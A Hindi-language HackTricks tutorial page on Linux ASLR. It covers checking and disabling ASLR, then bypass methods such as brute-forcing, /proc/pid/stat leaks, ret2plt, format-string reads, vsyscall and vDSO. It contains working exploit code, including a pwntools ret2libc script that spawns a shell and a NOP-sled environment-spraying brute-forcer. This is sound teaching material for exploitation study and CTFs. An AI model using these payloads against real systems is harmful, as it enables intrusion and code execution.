ASLR

Reading time: 12 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR) एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पते को रैंडमाइज़ करने के लिए उपयोग की जाती है। ऐसा करने से, यह हमलावर के लिए विशिष्ट प्रक्रियाओं और डेटा, जैसे कि स्टैक, हीप, और लाइब्रेरी के स्थान की भविष्यवाणी करना काफी कठिन बना देता है, जिससे कुछ प्रकार के एक्सप्लॉइट्स, विशेष रूप से बफर ओवरफ्लोज़, को कम किया जा सकता है।

ASLR स्थिति की जांच करना

Linux सिस्टम पर ASLR स्थिति जांचने के लिए, आप /proc/sys/kernel/randomize_va_space फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में संग्रहीत मान यह निर्धारित करता है कि किस प्रकार का ASLR लागू किया जा रहा है:

  • 0: कोई रैंडमाइजेशन नहीं। सब कुछ स्थिर है।
  • 1: संवेदनशील रैंडमाइजेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पृष्ठ रैंडमाइज किए जाते हैं।
  • 2: पूर्ण रैंडमाइजेशन। संवेदनशील रैंडमाइजेशन द्वारा रैंडमाइज किए गए तत्वों के अलावा, brk() के माध्यम से प्रबंधित मेमोरी रैंडमाइज की जाती है।

आप निम्नलिखित कमांड के साथ ASLR स्थिति की जांच कर सकते हैं:

bash
cat /proc/sys/kernel/randomize_va_space

ASLR को अक्षम करना

ASLR को अक्षम करने के लिए, आप /proc/sys/kernel/randomize_va_space का मान 0 पर सेट करते हैं। ASLR को अक्षम करना आमतौर पर परीक्षण या डिबगिंग परिदृश्यों के बाहर अनुशंसित नहीं है। इसे अक्षम करने का तरीका यहाँ है:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

आप एक निष्पादन के लिए ASLR को निम्नलिखित के साथ भी अक्षम कर सकते हैं:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR सक्षम करना

ASLR को सक्षम करने के लिए, आप /proc/sys/kernel/randomize_va_space फ़ाइल में 2 का मान लिख सकते हैं। इसके लिए आमतौर पर रूट विशेषाधिकार की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्षम करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

रिबूट के दौरान स्थिरता

echo कमांड के साथ किए गए परिवर्तन अस्थायी होते हैं और रिबूट पर रीसेट हो जाएंगे। परिवर्तन को स्थायी बनाने के लिए, आपको /etc/sysctl.conf फ़ाइल को संपादित करना होगा और निम्नलिखित पंक्ति को जोड़ना या संशोधित करना होगा:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf को संपादित करने के बाद, परिवर्तनों को लागू करने के लिए:

bash
sudo sysctl -p

यह सुनिश्चित करेगा कि आपके ASLR सेटिंग्स रिबूट के दौरान बनी रहें।

बायपास

32बिट ब्रूट-फोर्सिंग

PaX प्रक्रिया पते की जगह को 3 समूहों में विभाजित करता है:

  • कोड और डेटा (आरंभित और अप्रारंभित): .text, .data, और .bss —> delta_exec चर में 16 बिट्स की एंट्रॉपी। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से आरंभ किया जाता है और प्रारंभिक पते में जोड़ा जाता है।
  • मेमोरी जो mmap() द्वारा आवंटित की गई है और साझा पुस्तकालय —> 16 बिट्स, जिसे delta_mmap कहा जाता है।
  • स्टैक —> 24 बिट्स, जिसे delta_stack कहा जाता है। हालाँकि, यह प्रभावी रूप से 11 बिट्स का उपयोग करता है (10वें से 20वें बाइट तक समावेशी), 16 बाइट्स के लिए संरेखित —> इसके परिणामस्वरूप 524,288 संभावित वास्तविक स्टैक पते होते हैं।

पिछला डेटा 32-बिट सिस्टम के लिए है और अंतिम एंट्रॉपी में कमी ASLR को बायपास करना संभव बनाती है, जब तक कि शोषण सफलतापूर्वक पूरा नहीं हो जाता।

ब्रूट-फोर्स विचार:

  • यदि आपके पास शेलकोड से पहले एक बड़ा NOP स्लेड रखने के लिए पर्याप्त ओवरफ्लो है, तो आप बस स्टैक में पते को ब्रूट-फोर्स कर सकते हैं जब तक कि प्रवाह NOP स्लेड के कुछ हिस्से पर कूद न जाए
  • यदि ओवरफ्लो इतना बड़ा नहीं है और शोषण को स्थानीय रूप से चलाया जा सकता है, तो एक पर्यावरण चर में NOP स्लेड और शेलकोड जोड़ना संभव है।
  • यदि शोषण स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32बिट सिस्टम के लिए उपयोगी):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप libc फ़ंक्शन usleep के पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त लेता है, तो आपने इस फ़ंक्शन का पता खोज लिया है।

tip

64-बिट सिस्टम में एंट्रॉपी बहुत अधिक होती है और यह संभव नहीं होना चाहिए।

64 बिट स्टैक ब्रूट-फोर्सिंग

यह संभव है कि स्टैक के एक बड़े हिस्से को एन्व वेरिएबल्स के साथ भरा जाए और फिर इसे शोषण करने के लिए स्थानीय रूप से सैकड़ों/हजारों बार दुरुपयोग करने की कोशिश की जाए।
निम्नलिखित कोड दिखाता है कि स्टैक में केवल एक पता चुनना कैसे संभव है और हर कुछ सौ निष्पादनों में वह पता NOP निर्देश को समाहित करेगा:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

स्थानीय जानकारी (/proc/[pid]/stat)

एक प्रक्रिया की फ़ाइल /proc/[pid]/stat हमेशा सभी के लिए पढ़ने योग्य होती है और इसमें दिलचस्प जानकारी होती है जैसे:

  • startcode & endcode: बाइनरी के TEXT के ऊपर और नीचे के पते
  • startstack: stack की शुरुआत का पता
  • start_data & end_data: जहाँ BSS है, उसके ऊपर और नीचे के पते
  • kstkesp & kstkeip: वर्तमान ESP और EIP पते
  • arg_start & arg_end: जहाँ cli arguments हैं, उसके ऊपर और नीचे के पते।
  • env_start &env_end: जहाँ env variables हैं, उसके ऊपर और नीचे के पते।

इसलिए, यदि हमलावर उसी कंप्यूटर में है जहाँ बाइनरी का शोषण किया जा रहा है और यह बाइनरी कच्चे तर्कों से ओवरफ्लो की अपेक्षा नहीं करती, बल्कि एक अलग इनपुट से जो इस फ़ाइल को पढ़ने के बाद तैयार किया जा सकता है। तो हमलावर के लिए इस फ़ाइल से कुछ पते प्राप्त करना और उनके लिए शोषण के लिए ऑफसेट बनाना संभव है

tip

इस फ़ाइल के बारे में अधिक जानकारी के लिए https://man7.org/linux/man-pages/man5/proc.5.html पर /proc/pid/stat खोजें

लीक होना

  • चुनौती एक लीक देना है

यदि आपको एक लीक दिया गया है (आसान CTF चुनौतियाँ), तो आप इससे ऑफसेट्स की गणना कर सकते हैं (मान लीजिए कि आप जानते हैं कि जिस सिस्टम का आप शोषण कर रहे हैं, उसमें कौन सा libc संस्करण उपयोग में है)। यह उदाहरण शोषण यहाँ से उदाहरण से निकाला गया है (अधिक विवरण के लिए उस पृष्ठ की जांच करें):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

एक बफर ओवरफ्लो का दुरुपयोग करते हुए, एक ret2plt का शोषण करना संभव होगा ताकि libc से एक फ़ंक्शन का पता निकाला जा सके। जाँचें:

Ret2plt

  • Format Strings Arbitrary Read

जैसे कि ret2plt में, यदि आपके पास एक फॉर्मेट स्ट्रिंग्स कमजोरियों के माध्यम से एक मनमाना पढ़ने की क्षमता है, तो GOT से एक libc फ़ंक्शन का पता निकालना संभव है। निम्नलिखित उदाहरण यहाँ से है:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

आप फ़ॉर्मेट स्ट्रिंग्स के मनमाने पढ़ने के बारे में अधिक जानकारी यहाँ पा सकते हैं:

Format Strings

Ret2ret & Ret2pop

ASLR को बायपास करने के लिए स्टैक के अंदर पते का दुरुपयोग करने का प्रयास करें:

Ret2ret & Reo2pop

vsyscall

vsyscall तंत्र प्रदर्शन को बढ़ाने के लिए काम करता है, जिससे कुछ सिस्टम कॉल को उपयोगकर्ता स्थान में निष्पादित किया जा सकता है, हालाँकि वे मूल रूप से कर्नेल का हिस्सा हैं। vsyscalls का महत्वपूर्ण लाभ उनके स्थिर पते में है, जो ASLR (एड्रेस स्पेस लेआउट रैंडमाइजेशन) के अधीन नहीं होते। इस स्थिर स्वभाव का मतलब है कि हमलावरों को उनके पते निर्धारित करने और उन्हें एक हमले में उपयोग करने के लिए सूचना लीक की भेद्यता की आवश्यकता नहीं होती है।
हालांकि, यहाँ कोई सुपर दिलचस्प गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए, एक ret; समकक्ष प्राप्त करना संभव है)

(निम्नलिखित उदाहरण और कोड इस लेख से है)

उदाहरण के लिए, एक हमलावर एक हमले में 0xffffffffff600800 पते का उपयोग कर सकता है। जबकि सीधे ret निर्देश पर कूदने का प्रयास करने से कुछ गैजेट्स को निष्पादित करने के बाद अस्थिरता या क्रैश हो सकता है, vsyscall अनुभाग द्वारा प्रदान किए गए syscall के प्रारंभ पर कूदना सफल हो सकता है। इस vsyscall पते पर निष्पादन को ले जाने वाले एक ROP गैजेट को सावधानीपूर्वक रखने से, एक हमलावर इस हमले के इस भाग के लिए ASLR को बायपास किए बिना कोड निष्पादन प्राप्त कर सकता है।

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

इसलिए ध्यान दें कि यदि कर्नेल को CONFIG_COMPAT_VDSO के साथ संकलित किया गया है, तो vdso का दुरुपयोग करके ASLR को बायपास करना संभव हो सकता है क्योंकि vdso पता यादृच्छिक नहीं होगा। अधिक जानकारी के लिए देखें:

Ret2vDSO

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें